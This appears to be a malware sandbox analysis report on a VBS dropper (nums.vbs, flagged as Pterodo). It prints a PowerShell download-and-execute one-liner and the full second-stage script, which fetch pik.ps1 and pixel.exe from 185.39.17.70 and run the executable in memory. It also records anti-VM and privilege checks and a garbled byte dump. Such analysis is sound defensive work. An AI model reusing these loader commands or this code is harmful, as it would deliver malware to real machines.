A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 23, 2025, 10:27 a.m.	show_type: 0 filepath_r: powershell parameters: -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()" filepath: powershell	1	1	0

File has been identified by 2 AntiVirus engines on VirusTotal as malicious (2 events)

ESET-NOD32	VBS/Pterodo.AOV
Kaspersky	HEUR:Trojan.Script.Generic

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 23, 2025, 10:27 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received

HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Mon, 21 Apr 2025 17:08:04 GMT Accept-Ranges: bytes ETag: "5151f2dfb2db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 23 Apr 2025 01:27:34 GMT Content-Length: 785 function Get-WebClient { Add-Type -AssemblyName System.Net return New-Object System.Net.WebClient } function Get-ExeUrl { $u = @('http', '://', '185', '.', '39', '.', '17', '.', '70', '/zgrnf/', 'pixel.exe') return ($u -join '') } function Download-Data { param([string]$url) $client = Get-WebClient return $client.DownloadData($url) } function Load-Assembly { param([byte[]]$bytes) return [System.Reflection.Assembly]::Load($bytes) } function Execute-Assembly { param([System.Reflection.Assembly]$asm) $entry = $asm.EntryPoint if ($entry) { $entry.Invoke($null, @()) } } $exeUrl = Get-ExeUrl $data = Download-Data -url $exeUrl $asm = Load-Assembly -bytes $data Execute-Assembly -asm $asm

Data received

*(*(*(*( *( *(*(*( *(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(!*("*(#*($*(%*(&*('*((*()*(**(+*(,*(-*(.*(/*(0*(1*(2*(3*(4*(5*(6*(7*(8*(9*(:*(;*(<*(=*(>*(?*(@*(A*(B*(C*(D*(E*(F*(G*(H*(I*(J*(K*(L*(M*(N*(O*(P*(Q*(R*(S*(T*(U*(V*(W*(X*(Y*(Z*([*(\*(]*(^*(_*(`*(a*(b*(c*(d*(e*(f*(g*(h*(i*(j*(k*(l*(m*(n*(o*(p*(q*(r*(s*(t*(u*(v*(w*(x*(y*(z*({*(|*(}*(~*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(¡*(¢*(£*(¤*(¥*(¦*(§*(¨*(©*(ª*(«*(¬*(*(®*(¯*(°*(±*(²*(³*(´*(µ*(¶*(·*(¸*(¹*(º*(»*(¼*(½*(¾*(¿*(À*(Á*(Â*(Ã*(Ä*(Å*(Æ*(Ç*(È*(É*(Ê*(Ë*(Ì*(Í*(Î*(Ï*(Ð*(Ñ*(Ò*(Ó*(Ô*(Õ*(Ö*(×*(Ø*(Ù*(Ú*(Û*(Ü*(Ý*(Þ*(ß*(à*(á*(â*(ã*(ä*(å*(æ*(ç*(è*(é*(ê*(ë*(ì*(í*(î*(ï*(ð*(ñ*(ò*(ó*(ô*(õ*(ö*(÷*(ø*(ù*(ú*(û*(ü*(ý*(þ*(ÿ*(*(*(*(*(*(*(*(*(*( *( *(*(*( *(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(!*("*(#*($*(%*(&*('*((*()*(**(+*(,*(-*(.*(/*(0*(1*(2*(3*(4*(5*(6*(7*(8*(9*(:*(;*(<*(=*(>*(?*(@*(A*(B*(C*(D*(E*(F*(G*(H*(I*(J*(K*(L*(M*(N*(O*(P*(Q*(R*(S*(T*(U*(V*(W*(X*(Y*(Z*([*(\*(]*(^*(_*(`*(a*(b*(c*(d*(e*(f*(g*(h*(i*(j*(k*(l*(m*(n*(o*(p*(q*(r*(s*(t*(u*(v*(w*(x*(y*(z*({*(|*(}*(~*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*(*( *(¡*(¢*(£*(¤*(¥*(¦*(§*(¨*(©*(ª*(«*(¬*(*(®*(¯*(°*(±*(²*(³*(´*(µ*(¶*(·

Poweshell is sending data to a remote host (2 events)

Data sent	GET /zgrnf/pik.ps1 HTTP/1.1 Host: 185.39.17.70 Connection: Keep-Alive
Data sent	GET /zgrnf/pixel.exe HTTP/1.1 Host: 185.39.17.70

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 23, 2025, 10:27 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

185.39.17.70

A potential heapspray has been detected. 74 megabytes was sprayed onto the heap of the powershell.exe process (1 event)

count

1194

name

heapspray

process

powershell.exe

total_mb

length

65536

protection

PAGE_READWRITE

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send April 23, 2025, 10:27 a.m.	buffer: GET /zgrnf/pik.ps1 HTTP/1.1 Host: 185.39.17.70 Connection: Keep-Alive socket: 1424 sent: 75	1	75	0
send April 23, 2025, 10:27 a.m.	buffer: GET /zgrnf/pixel.exe HTTP/1.1 Host: 185.39.17.70 socket: 1424 sent: 53	1	53	0

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	powershell -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()"
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()"

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

nums.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All